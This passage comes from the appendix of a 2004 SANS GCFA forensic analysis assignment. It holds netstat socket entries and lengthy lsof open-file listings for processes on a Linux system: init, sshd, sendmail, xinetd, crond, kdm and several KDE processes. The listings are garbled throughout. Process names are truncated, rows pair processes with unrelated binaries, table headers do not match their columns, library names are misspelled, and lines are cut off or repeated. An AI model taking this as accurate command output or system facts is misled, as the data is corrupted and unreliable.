unix 3 [ ] STREAM CONNECTED 1800 1066/X /tmp/.X11-unix/XO
unix 3 [ ] STREAM CONNECTED 1794 1067--:0
unix 2 [ ] DGRAM 1714 1005/xfs
unix 2 [ ] DGRAM 1661 953/crond
unix 2 [ ] DGRAM 1621 916/sendmail: accept
unix 2 [ ] DGRAM 1548 875/xinetd
unix 2 [ ] DGRAM 1505 790/ntpd
unix 2 [ ] DGRAM 1264 770/apmd
unix 2 [ ] DGRAM 1124 657/rpc.statd

isof.txt

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PID</th>
<th>USER</th>
<th>FD</th>
<th>TYPE</th>
<th>DEVICE</th>
<th>SIZE</th>
<th>NODE NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>26920</td>
<td>/sbin/init</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5</td>
<td>15606</td>
<td>/dev/initctl</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>bdflush</td>
<td>6</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>bdflush</td>
<td>6</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
```

kupdated 7 root cwd DIR 3,5 1024 2 /
kupdated 7 root rtd DIR 3,5 1024 2 /
mrecover 8 root cwd DIR 3,5 1024 2 /
mrecover 8 root rtd DIR 3,5 1024 2 /
mrecover 8 root 10u FIFO 3,5 15606 /dev/initctl
kjournald 12 root cwd DIR 3,5 1024 2 /
journald 12 root rtd DIR 3,5 1024 2 /
journald 12 root 10u FIFO 3,5 15606 /dev/initctl
khubd 91 root cwd DIR 3,5 1024 2 /
khubd 91 root rtd DIR 3,5 1024 2 /
khubd 91 root 10u FIFO 3,5 15606 /dev/initctl
khubd 91 root cwd DIR 3,5 1024 2 /
khubd 91 root rtd DIR 3,5 1024 2 /
khubd 91 root txt REG 3,5 28040 71832 /sbin/rpc.statd
rpc.statd 657 root cwd DIR 3,6 1024 20084 /var/lib/nfs/statd
rpc.statd 657 root rtd DIR 3,5 1024 2 /
rpc.statd 657 root txt REG 3,2 16488 130672 /usr/sbin/apmd
rpc.statd 657 root txt REG 3,2 16488 130672 /usr/sbin/apmd
apmd 770 root cwd DIR 3,5 1024 2 /
apmd 770 root rtd DIR 3,5 1024 2 /
ntpd 790 root cwd DIR 3,5 1024 2 /
ntpd 790 root rtd DIR 3,5 1024 2 /
sshd 842 root cwd DIR 3,5 1024 2 /
```
sshd 842 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
sshd 842 root 0u CHR 1,3 9637 /dev/null
sshd 842 root 1u CHR 1,3 9637 /dev/null
sshd 842 root 2u IPv4 1508 TCP *:ssh (LISTEN)
xinetd 875 root cwd DIR 3,5 1024 2 /
xinetd 875 root rtd DIR 3,5 1024 2 /
xinetd 875 root txt REG 3,2 1508 /usr/sbin/xinetd
xinetd 875 root mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
xinetd 875 root mem REG 3,5 173359 73732 /lib/i686/libc-2.2.5.so
xinetd 875 root mem REG 3,5 23575 63523 /lib/libnss_files-2.2.5.so
xinetd 875 root mem REG 3,5 46117 63531 /lib/libnss_nisplus-2.2.5.so
xinetd 875 root mem REG 3,5 16051 63520 /lib/libnss_dns-2.2.5.so
xinetd 875 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
xinetd 875 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
xinetd 875 root 0r CHR 1,3 9637 /dev/null
xinetd 875 root 1r CHR 1,3 9637 /dev/null
xinetd 875 root 2r CHR 1,3 9637 /dev/null
xinetd 875 root 3r FIFO 0,5 1546 pipe
xinetd 875 root 4w FIFO 0,5 1546 pipe
xinetd 875 root 8u unix 0xc7ce65a0 1548 socket
sendmail 916 root cwd DIR 3,6 1024 34139 /var/spool/mqueue
sendmail 916 root txt REG 3,2 451280 130657 /usr/sbin/sendmail.sendmail
sendmail 916 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
sendmail 916 root mem REG 3,2 8263 130602 /usr/lib/sasl/libanonymous.so.1.0.15
sendmail 916 root mem REG 3,2 13600 130639 /usr/lib/sasl/libcrammd5.so.1.0.15
sendmail 916 root mem REG 3,2 33529 130651 /usr/lib/sasl/libdigestmd5.so.0.0.17
sendmail 916 root mem REG 3,2 10260 130635 /usr/lib/sasl/libplain.so.1.0.14
sendmail 916 root mem REG 3,5 207008 63563 /lib/libssl.so.0.9.6b
sendmail 916 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
sendmail 916 root mem REG 3,5 12102 63503 /lib/libd1-2.2.5.so
sendmail 916 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
sendmail 916 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
sendmail 916 root mem REG 3,5 46117 63531 /lib/libnss_nisplus-2.2.5.so
sendmail 916 root mem REG 3,2 10260 130634 /usr/sbin/sendmail.sendmail/sendmail/sendmail
sendmail 916 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
sendmail 916 root 0r CHR 1,3 9637 /dev/null
sendmail 916 root 1w CHR 1,3 9637 /dev/null
sendmail 916 root 2w CHR 1,3 9637 /dev/null
sendmail 916 root 3u unix Oxc6c38580 1621 socket
sendmail 916 root 4u IPv4 1622 TCP rh:smtp (LISTEN)
gpm 935 root cwd DIR 3,5 1024 2 /
gpm 935 root rtd DIR 3,5 1024 2 /
gpm 935 root txt REG 3,5 77303 130636 /usr/sbin/gpm
gpm 935 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
gpm 935 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
gpm 935 root 0w CHR 5,1 8271 /dev/console
gpm 935 root 1u REG 3,6 4 38175 /var/run/gpmQOrm7H (deleted)
gpm 935 root 2u unix Oxc630a60 1638 /dev/gpmctl
crond 953 root cwd DIR 3,6 1024 40161 /var/spool/crond 953 root rtd DIR 3,5 1024 2 /
crond 953 root txt REG 3,5 23048 130682 /usr/sbin/crond
crond 953 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
crond 953 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
crond 953 root mem REG 3,5 46117 63531 /lib/libnss_nisplus-2.2.5.so
crond 953 root mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
crond 953 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
crond 953 root 0u CHR 5,1 8271 /dev/console
crond  953  root  1w  FIFO  0,5  1657 pipe
crond  953  root  2w  FIFO  0,5  1658 pipe
crond  953  root  3u  REG  3,6  4  38176 /var/run/crond.pid
crond  953  root  4u  unix  Ox6b8b0c0  1661 socket
xfs  1005  root  cwd  DIR  3,5  1024  2/
xfs  1005  root  rtd  DIR  3,5  1024  2/
xfs  1005  root  txt  REG  3,2  46177 /var/run/crond.pid
xfs  1005  root  mem  REG  3,2  45415  63523 /lib/libnss_files-2.2.5.so
xfs  1005  root  mem  REG  3,5  173359  73732 /lib/i686/libm-2.2.5.so
xfs  1005  root  mem  REG  3,5  89424  63507 /lib/libnss_nisplus-2.2.5.so
xfs  1005  root  mem  REG  3,5  1401027  73730 /lib/i686/libc-2.2.5.so
xfs  1005  root  0r  DIR  3,5  1024 /xfs
xfs  1005  root  1r  DIR  3,5  1024 /xfs
xfs  1005  root  2r  DIR  3,5  1024 /xfs
xfs  1005  root  3u  REG  3,6  6  38177 /var/run/xfs.pid
xfs  1005  root  4u  unix  0xc6b8b5c0  1704 /tmp/.font-unix/fs7100
xfs  1005  root  5u  unix  0xc7817080  1714 socket
xfs  1005  root  6u  unix  0xc49a20c0  1801 /tmp/.font-unix/fs7100
atd  1041  root  cwd  DIR  3,6  1024  56225 /var/spool/at
atd  1041  root  rtd  DIR  3,5  1024  2/
atd  1041  root  txt  REG  3,2  14776  130516 /usr/sbin/atd
atd  1041  root  mem  REG  3,5  89547  63490 /lib/ld-2.2.5.so
atd  1041  root  mem  REG  3,5  45415  63523 /lib/libnss_files-2.2.5.so
atd  1041  root  mem  REG  3,5  1401027  73730 /lib/i686/libc-2.2.5.so
atd  1041  root  0u  CHR  1,3  9637 /dev/null
atd  1041  root  1u  CHR  1,3  9637 /dev/null
atd  1041  root  2u  CHR  1,3  9637 /dev/null
atd  1041  root  3u  REG  3,5  1401027  73730 /lib/i686/libc-2.2.5.so
mingetty  1050  root  cwd  DIR  3,5  1024  2/
ingetty  1050  root  rtd  DIR  3,5  1024  2/
ingetty  1050  root  txt  REG  3,5  14136  71701 /sbin/mingetty
mingetty  1050  root  mem  REG  3,5  89547  63490 /lib/ld-2.2.5.so
mingetty  1050  root  mem  REG  3,5  1401027  73730 /lib/i686/libc-2.2.5.so
mingetty  1050  root  0u  CHR  4,1  14414 /dev/tty1
mingetty  1050  root  1u  CHR  4,1  14414 /dev/tty1
mingetty  1050  root  2u  CHR  4,1  14414 /dev/tty1
mingetty  1051  root  cwd  DIR  3,5  1024  2/
ingetty  1051  root  rtd  DIR  3,5  1024  2/
ingetty  1051  root  txt  REG  3,5  14136  71701 /sbin/mingetty
mingetty  1051  root  mem  REG  3,5  89547  63490 /lib/ld-2.2.5.so
mingetty  1051  root  mem  REG  3,5  1401027  73730 /lib/i686/libc-2.2.5.so
mingetty  1051  root  0u  CHR  4,2  14425 /dev/tty2
mingetty  1051  root  1u  CHR  4,2  14425 /dev/tty2
mingetty  1051  root  2u  CHR  4,2  14425 /dev/tty2
mingetty  1052  root  cwd  DIR  3,5  1024  2/
ingetty  1052  root  rtd  DIR  3,5  1024  2/
ingetty  1052  root  txt  REG  3,5  14136  71701 /sbin/mingetty
mingetty  1052  root  mem  REG  3,5  89547  63490 /lib/ld-2.2.5.so
mingetty  1052  root  mem  REG  3,5  1401027  73730 /lib/i686/libc-2.2.5.so
mingetty  1052  root  0u  CHR  4,3  14436 /dev/tty3
mingetty  1052  root  1u  CHR  4,3  14436 /dev/tty3
mingetty  1052  root  2u  CHR  4,3  14436 /dev/tty3
mingetty  1053  root  cwd  DIR  3,5  1024  2/
ingetty  1053  root  rtd  DIR  3,5  1024  2/
ingetty  1053  root  txt  REG  3,5  14136  71701 /sbin/mingetty
mingetty  1053  root  mem  REG  3,5  89547  63490 /lib/ld-2.2.5.so
mingetty  1053  root  mem  REG  3,5  1401027  73730 /lib/i686/libc-2.2.5.so
mingetty  1053  root  0u  CHR  4,4  14439 /dev/tty4
mingetty  1053  root  1u  CHR  4,4  14439 /dev/tty4
mingetty  1053  root  2u  CHR  4,4  14439 /dev/tty4
mingetty  1054  root  cwd  DIR  3,5  1024  2/
ingetty  1054  root  rtd  DIR  3,5  1024  2/
ingetty  1054  root  txt  REG  3,5  14136  71701 /sbin/mingetty
mingetty  1054  root  mem  REG  3,5  89547  63490 /lib/ld-2.2.5.so
mingetty  1054  root  mem  REG  3,5  1401027  73730 /lib/i686/libc-2.2.5.so
mingetty  1054  root  0u  CHR  4,5  14440 /dev/tty5
mingetty  1054  root  1u  CHR  4,5  14440 /dev/tty5
mingetty  1054  root  2u  CHR  4,5  14440 /dev/tty5

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>PID</th>
<th>Arguments</th>
<th>Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>mingetty</td>
<td>root</td>
<td>1054</td>
<td>/dev/tty5</td>
<td>4,5 14440</td>
</tr>
<tr>
<td>mingetty</td>
<td>root</td>
<td>1055</td>
<td>/dev/tty6</td>
<td>3,5 1024</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>1056</td>
<td>/dev/tty6</td>
<td>3,5 1024</td>
</tr>
</tbody>
</table>

...
kdm 1067 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
kdm 1067 root mem REG 3,5 12471 43053 /lib/security/pam_stack.so
kdm 1067 root mem REG 3,5 6387 43046 /lib/security/pam_nologin.so
kdm 1067 root mem REG 3,5 182363 65275 /usr/lib/libglib-1.2.so.0.0.10
kdm 1067 root mem REG 3,5 4910 43033 /lib/security/pam_deny.so
kdm 1067 root mem REG 3,2 182363 65275 /usr/lib/libglib-1.2.so.0.0.10
kdm 1067 root mem REG 3,5 14617 43040 /lib/security/pam_limits.so
kdm 1067 root mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdm 1067 root mem REG 3,5 11832 63560 /lib/libtermcap.so.2.0.8
kdm 1067 root mem REG 3,2 7840 33603 /usr/bin/startkde
kdeinit 1175 userid1 cwd DIR 3,3 4096 32321 /home/userid1
kdeinit 1175 userid1 rtd DIR 3,5 1024 2 /
kdeinit 1175 userid1 txt REG 3,2 36360 33359 /usr/bin/kdeinit
kdeinit 1175 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
kdeinit 1175 userid1 mem REG 3,2 262818 65640 /usr/lib/libDCOP-gcc2.96.so.4.0.0
kdeinit 1175 userid1 mem REG 3,2 294341 65748 /usr/lib/libkparts-gcc2.96.so.2.0.0
kdeinit 1175 userid1 mem REG 3,2 3484738 65724 /usr/lib/libkio-gcc2.96.so.4.0.0
kdeinit 1175 userid1 mem REG 3,2 2530952 65712 /usr/lib/libkdeui-gcc2.96.so.2.0.0
kdeinit 1175 userid1 mem REG 3,2 186178 65682 /usr/lib/libkdefx-gcc2.96.so.4.0.0
kdeinit 1175 userid1 mem REG 3,2 173280 17011 /usr/X11R6/lib/libXrender.so.1.1
kdeinit 1175 userid1 mem REG 3,2 173280 17011 /usr/X11R6/lib/libXrender.so.1.1
kdeinit 1175 userid1 mem REG 3,2 133032 65706 /usr/lib/libkdesu-gcc2.96.so.4.0.0
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
<th>Permissions</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>/usr/lib/libkdecore-3.0.3/lib/libkdecore-2.10.0.so</td>
<td>REG</td>
<td>3,2</td>
<td>1962973</td>
<td>/usr/lib/libkdecore-3.0.3/lib/libkdecore-2.10.0.so</td>
</tr>
<tr>
<td>gcc2.96.so.4.0.0</td>
<td>REG</td>
<td>3,2</td>
<td>7644546</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>/usr/lib/libpng.so.2.1.0.12</td>
<td>REG</td>
<td>3,2</td>
<td>173359</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>/usr/lib/libstdc++-3.0.3/lib/libstdc++.so.6.3.1</td>
<td>REG</td>
<td>3,2</td>
<td>52300</td>
<td>/usr/lib/libstdc++-3.0.3/lib/libstdc++.so.6.3.1</td>
</tr>
<tr>
<td>/libjpeg.so.62.0.0</td>
<td>REG</td>
<td>3,2</td>
<td>90976</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>/usr/lib/libkdecore-3.0.3/lib/libkdecore-2.10.0.so</td>
<td>REG</td>
<td>3,2</td>
<td>262818</td>
<td>/usr/lib/libkdecore-3.0.3/lib/libkdecore-2.10.0.so</td>
</tr>
<tr>
<td>/usr/lib/libkdeui-3.0.3/lib/libkdeui-2.10.0.so</td>
<td>REG</td>
<td>3,2</td>
<td>60</td>
<td>/home/userid1/.xsession</td>
</tr>
<tr>
<td>/usr/lib/libkdesu-3.0.3/lib/libkdesu-2.10.0.so</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
<td>/usr/lib/localenlso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>/usr/lib/libkdefx-3.0.3/lib/libkdefx-2.10.0.so</td>
<td>REG</td>
<td>3,2</td>
<td>37102</td>
<td>/usr/lib/localenlso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>/usr/lib/libkdeinit-3.0.3/lib/libkdeinit-2.10.0.so</td>
<td>REG</td>
<td>3,2</td>
<td>26850</td>
<td>/usr/lib/localenlso885915/LC_NAME</td>
</tr>
<tr>
<td>/usr/lib/libkdeinit-3.0.3/lib/libkdeinit-2.10.0.so</td>
<td>REG</td>
<td>3,2</td>
<td>3228</td>
<td>/home/userid1/xsession/xsession-errors</td>
</tr>
<tr>
<td>/usr/lib/libkio-3.0.3/lib/libkio-2.10.0.so</td>
<td>REG</td>
<td>3,2</td>
<td>40296</td>
<td>/home/userid1/xsession/xsession-errors</td>
</tr>
<tr>
<td>/usr/lib/libkparts-3.0.3/lib/libkparts-2.10.0.so</td>
<td>REG</td>
<td>3,2</td>
<td>290306</td>
<td>/home/userid1/xsession/xsession-errors</td>
</tr>
<tr>
<td>/usr/lib/libmng.so.1.0.0</td>
<td>REG</td>
<td>3,2</td>
<td>65982</td>
<td>/home/userid1/xsession/xsession-errors</td>
</tr>
<tr>
<td>/usr/lib/libmng.so.1.0.0</td>
<td>REG</td>
<td>3,2</td>
<td>110194</td>
<td>/home/userid1/xsession/xsession-errors</td>
</tr>
<tr>
<td>/usr/lib/libmng.so.1.0.0</td>
<td>REG</td>
<td>3,2</td>
<td>293533</td>
<td>/home/userid1/xsession/xsession-errors</td>
</tr>
<tr>
<td>/usr/lib/libmng.so.1.0.0</td>
<td>REG</td>
<td>3,2</td>
<td>55402</td>
<td>/home/userid1/xsession/xsession-errors</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4
Page 118

```
arsd 1192 userid1 mem REG 3,2 282587 65574 /usr/lib/libkmedia2_idl-
gcc2.96.so.1.0.0
arsd 1192 userid1 mem REG 3,2 1048932 65545 /usr/lib/libartsflow-
gcc2.96.so.1.0.0
arsd 1192 userid1 mem REG 3,2 563716 65551 /usr/lib/libartsflow_idl-
gcc2.96.so.1.0.0
arsd 1192 userid1 mem REG 3,2 160333 65367 /usr/lib/libaufdiofile.so.0.0.0.2
arsd 1192 userid1 mem REG 3,2 23595 6586 /usr/lib/libmcop_mt-
gcc2.96.so.1.0.0
arsd 1192 userid1 mem REG 3,2 1007546 65580 /usr/lib/libmcop_gcc2.96.so.1.0.0
arsd 1192 userid1 mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
arsd 1192 userid1 mem REG 3,5 12102 /lib/libdl-2.2.5.so
arsd 1192 userid1 mem REG 3,5 101902 73734 /lib/i686/libpthread-0.9.so
arsd 1192 userid1 mem REG 3,2 426442 65304 /usr/lib/libstdc++-
libpng.so.2.1.0.12
arsd 1192 userid1 mem REG 3,5 12102 63503 /lib/libdl-
arsd 1192 userid1 mem REG 3,5 1401027 73730 /lib/i686/libc
arsd 1192 userid1 mem REG 3,5 11174 63541 /lib/libutil-
arsd 1192 userid1 mem REG 3,5 68925 63535 /lib/libresolv-
arsd 1192 userid1 mem REG 3,5 131560 65396 /usr/lib/libkdesu-
arsd 1192 userid1 mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
kdeinit 1203 userid1 mem REG 3,2 2457 130317
kdeinit 1203 userid1 mem REG 3,2 90976 16997 /usr/X11R6/lib/libXft.so.1.1
kdeinit 1203 userid1 mem REG 3,2 140418
kdeinit 1203 userid1 mem REG 3,2 290306 65392 /usr/lib/libmpeg.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 133032 65706 /usr/lib/libkdesu-
mt.so.3.0.3
kdeinit 1203 userid1 mem REG 3,2 262818 65640 /usr/lib/libCOCP-gcc2.96.so.4.0.0
kdeinit 1203 userid1 mem REG 3,2 294341 65748 /usr/lib/libparts-gcc2.96.so.2.2.0
kdeinit 1203 userid1 mem REG 3,2 348758 65724 /usr/lib/libkio-gcc2.96.so.4.0.0
kdeinit 1203 userid1 mem REG 3,2 2530952 65712 /usr/lib/libkdeui-gcc2.96.so.4.0.0
kdeinit 1203 userid1 mem REG 3,2 168176 65682 /usr/lib/libkdfex-gcc2.96.so.4.0.0
kdeinit 1203 userid1 mem REG 3,2 17328 17011 /usr/X11R6/lib/libXrender.so.1.1
kdeinit 1203 userid1 mem REG 3,2 1962973 65672 /usr/lib/libkdecore-
gcc2.96.so.4.0.0
kdeinit 1203 userid1 mem REG 3,2 78476 65636 /usr/lib/libknotty-gcc2.96.so.0.0
kdeinit 1203 userid1 mem REG 3,2 2457 130317
/usr/lib/locale/en_US.iso885915/LC_TIME
kdeinit 1203 userid1 mem REG 3,2 371 130311
kdeinit 1203 userid1 mem REG 3,2 29 130312
/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
kdeinit 1203 userid1 cwd DIR 3,3 4096
kdeinit 1203 userid1 rtd DIR 3,5 1024
kdeinit 1203 userid1 txt REG 3,2 36360 33359 /usr/bin/kdeinit
kdeinit 1203 userid1 mem REG 3,5 89547 63490 /lib/ld-
```
```
Kevin Miller - Sans GCFA Assignment – v1.4
Page 119

kdeinit 1203 userid1 mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
kdeinit 1203 userid1 mem REG 3,2 575687 65982 /usr/lib/libkong-gcc2.96.so.4.0.0
kdeinit 1203 userid1 mem REG 3,2 381888 65598 /usr/lib/libsoundserver_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 381888 65598 /usr/lib/libkmedia2_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 1007546 65580 /usr/lib/libmcop-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 282587 65574 /usr/lib/libqtmcop-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 1203 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 1203 userid1 mem REG 3,2 1048932 65545 /usr/lib/libartsflow-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 563716 65551 /usr/lib/libartsflow_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 160333 65367 /usr/lib/libaudiofile.so.0.0.2
kdeinit 1203 userid1 mem REG 3,2 1007546 65580 /usr/lib/libmcop-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 1203 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 1203 userid1 mem REG 3,2 65 130316 /usr/X11R6/lib/X11/locale/common/xlcDef.so.2
kdeinit 1203 userid1 mem REG 3,2 136415 16964 /usr/X11R6/lib/X11/locale/common/ximcp.so.2
kdeinit 1203 userid1 mem REG 3,2 136415 16964 /usr/X11R6/lib/X11/locale/common/ximcp.so.2
kdeinit 1203 userid1 mem REG 3,2 6996 /dev/null
kdeinit 1203 userid1 mem REG 3,2 1007546 65580 /usr/lib/libmcop-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 1203 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 1203 userid1 mem REG 3,2 6996 /dev/null
kdeinit 1203 userid1 mem REG 3,2 1007546 65580 /usr/lib/libmcop-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 1203 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache

```
Kevin Miller - Sans GCFA Assignment – v1.4

```
kdeinit 1217 userid1 mem REG 3,2 575687 65982 /usr/lib/libkong-gcc2.96.so.4.0.0
kdeinit 1217 userid1 mem REG 3,2 932895 65934 /usr/lib/kicker-gcc2.96.so
kdeinit 1217 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 1217 userid1 mem REG 3,2 83 130314
kdeinit 1217 userid1 mem REG 3,2 40 130315
kdeinit 1217 userid1 mem REG 3,2 58 130315
kdeinit 1217 userid1 mem REG 3,2 292 130315
kdeinit 1217 userid1 mem REG 3,2 22592 130323
kdeinit 1217 userid1 mem REG 3,2 60 130322
kdeinit 1217 userid1 mem REG 3,2 173680 130324
kdeinit 1217 userid1 mem REG 3,2 10902 16965
kdeinit 1217 userid1 mem REG 3,2 136415 16964
kdeinit 1217 userid1 mem REG 3,2 425497 75899
kdeinit 1217 userid1 mem REG 3,2 114215
kdeinit 1217 userid1 mem REG 3,2 83610 294695
kdeinit 1217 userid1 mem REG 3,2 29535 294715
kdeinit 1217 userid1 mem REG 3,2 51787 294691
kdeinit 1217 userid1 mem REG 3,2 116560
kdeinit 1217 userid1 mem REG 3,2 113918 66021
kdeinit 1217 userid1 mem REG 3,2 197376 294364
kdeinit 1217 userid1 mem REG 3,2 42808 16969
kdeinit 1217 userid1 mem REG 3,5 45415 63523
kdeinit 1217 userid1 mem REG 3,5 1401027 73730
kdeinit 1217 userid1 mem REG 3,2 1453 32328
kdeinit 1217 userid1 mem REG 3,3 1453 32328
kdeinit 1217 userid1 mem REG 3,5 1453 32328
kdeinit 1217 userid1 mem REG 3,3 1453 32328
kdeinit 1217 userid1 mem REG 3,2 1453 32328
kdeinit 1217 userid1 mem REG 3,5 130315
kdeinit 1217 userid1 mem REG 3,5 130314
kdeinit 1217 userid1 mem REG 3,5 130314
kdeinit 1217 userid1 mem REG 3,5 130314
kdeinit 1217 userid1 mem REG 3,5 130314
kdeinit 1217 userid1 mem REG 3,5 130314
```
Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>PID</th>
<th>User</th>
<th>Mem</th>
<th>Type</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>1223</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>1223</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>1223</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>1223</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>1223</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>1223</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES</td>
</tr>
<tr>
<td>1223</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>1223</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
</tr>
<tr>
<td>1223</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>1223</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>1223</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4

Page 124
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Flags</th>
<th>Size</th>
<th>Time</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>8r</td>
<td>2440</td>
<td>pipe</td>
<td>/usr/bin/kdeinit</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>9w</td>
<td>2440</td>
<td>pipe</td>
<td>/usr/bin/kdeinit</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>10r</td>
<td>75899</td>
<td>/tmp/kde-userid1/kycoca</td>
